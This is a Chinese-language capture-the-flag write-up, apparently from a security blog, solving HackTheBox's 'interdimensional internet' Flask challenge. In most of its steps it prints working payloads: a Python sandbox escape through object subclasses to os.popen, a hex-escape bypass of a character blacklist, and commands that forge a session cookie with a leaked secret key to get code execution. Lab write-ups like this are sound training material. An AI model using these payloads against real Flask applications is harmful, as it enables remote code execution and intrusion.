如果你喜欢我的文章,欢迎关注公众号:安全女巫
转载请注明出处:https://mp.weixin.qq.com/s/cfcAq6vG-e2dB6mgymfcOQ
【HackTheBox】攻克靶机实战interdimensional internet攻略分享
访问网站,查看页面基本信息
访问页面,页面无超链接等其他功能。控制台、网络均无可利用点.
抓包,看session有jwt特征
将之解码后发现measurements带base64特征,解码后得11+39=50
与响应页面中显示的数字一致。
响应包的session解码后参数可展示在响应页面。请求包session为空,再次刷新页面,相应包session与展示数字一并改变。
只能说发现了响应包session与页面展示规律。并无突破思路。
可见/debug超链接
查看源代码
访问/debug页面,可见网站源码
多次出现/debug的提示,证明该处应为关键突破点。
calc函数包含名命令执行exec()。exec中为session中2个参数拼成的新字符串。
由此,可构造session进行jwt编码,以执行命令。
满足条件的payload,构造过程如下:
1》构造执行命令
2》绕过黑名单
3》ingredient和measurements均不为空,且20<=recipe<300
4》Flask客户端session伪造
5》优化执行命令
6》获得flag
exec执行print成功
通过命令执行漏洞获得flag。突破口应是ls列出文件,定位flag文件,并进行读取flag
执行ls
本地尝试exec执行ls
报错:__import__ not found
Google搜ssti hackticks python
将语句写入脚本
说明().__class__.__base__.__subclasses__()中warnings.catch_warnings可以导入import os成功执行命令。
为简化语句,打印出warnings.catch_warnings所在数组的位置:60
语句简化为:
().__class__.__base__.__subclasses__()[60]()._module.__builtins__['__import__']('os').popen("dir").read()
线上环境也可能是linux,所以也可能是:
().__class__.__base__.__subclasses__()[60]()._module.__builtins__['__import__']('os').popen("ls").read()
这边猜测是linux环境。
不能包含以下四个字符[(_.
用以下方式绕过。\28经2次print转为(
同样方式转换
\x28 (
\x5b [
\x5f _
\x2e .
故执行命令语句经转换后为:
\x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)
{'ingredient': b'\x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)', 'measurements': b'7-4'}
git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager/
python3 -m pip install Flask
访问页面抓包获得session进行解码
python3 flask_session_cookie_manager3.py decode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -c "eyJpbmdyZWRpZW50Ijp7IiBiIjoiYzNweGFXSnBaMlowY2c9PSJ9LCJtZWFzdXJlbWVudHMiOnsiIGIiOiJNelVyTkRnPSJ9fQ.YrMHfA.XME1AvAKBalRQ0n74pr-dvx4I3U"
解码为:
{'ingredient': b'szqibigftr', 'measurements': b'35+48'}
使用如下命令进行编码:
python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient': b' \x28)\x2e\x5f\x5fclass\x5f\x5f\x2e\x5f\x5fbase\x5f\x5f\x2e\x5f\x5fsubclasses\x5f\x5f\x28)\x5b60]\x28)\x2e\x5fmodule\x2e\x5f\x5fbuiltins\x5f\x5f\x5b'\x5f\x5fimport\x5f\x5f']\x28'os')\x2epopen\x28"ls")\x2eread\x28)', 'measurements': b'35+48'}"
编码后的session重新发请求
说明过滤的[(_.关键字无效。需进一步进行语句转换。
防止\被转义,变成\\。
python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient': b'\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b60]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f']\\x28'os')\\x2epopen\\x28"ls")\\x2eread\\x28)', 'measurements': b'35+48'}"
转义问题已经解决,不报错了。但是返回包cookie没了。执行ls后的结果如何能展示出来?
使用flask.session将ls命令执行的结果展示在响应包中的session中x参数,将之打印。
exec"i=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__'];i('flask').session['x']=i('os').popen('ls').read()"#
转换为
exec"i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f'];i\\x28'flask')\\x2esession\\x5b'x']=i\\x28'os')\\x2epopen\\x28'ls')\\x2eread\\x28)"#
Session编码
python3 flask_session_cookie_manager3.py encode -s "tlci0GhK8n5A18K1GTx6KPwfYjuuftWw" -t "{'ingredient':b'exec"i=\\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbase\\x5f\\x5f\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28)\\x5b59]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f'];i\\x28'flask')\\x2esession\\x5b'x']=i\\x28'os')\\x2epopen\\x28'ls')\\x2eread\\x28)"#', 'measurements': b'4+25'}"
响应包中session解码
获得session响应包中x参数,即为ls执行返回内容。
存在文件totally_not_a_loooooooong_flaaaaag
构造session以查看文件内容。
根据响应包中session解码获得响应包中session参数x的内容,即为flag
本文作者:公众号:安全女巫
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/200516.html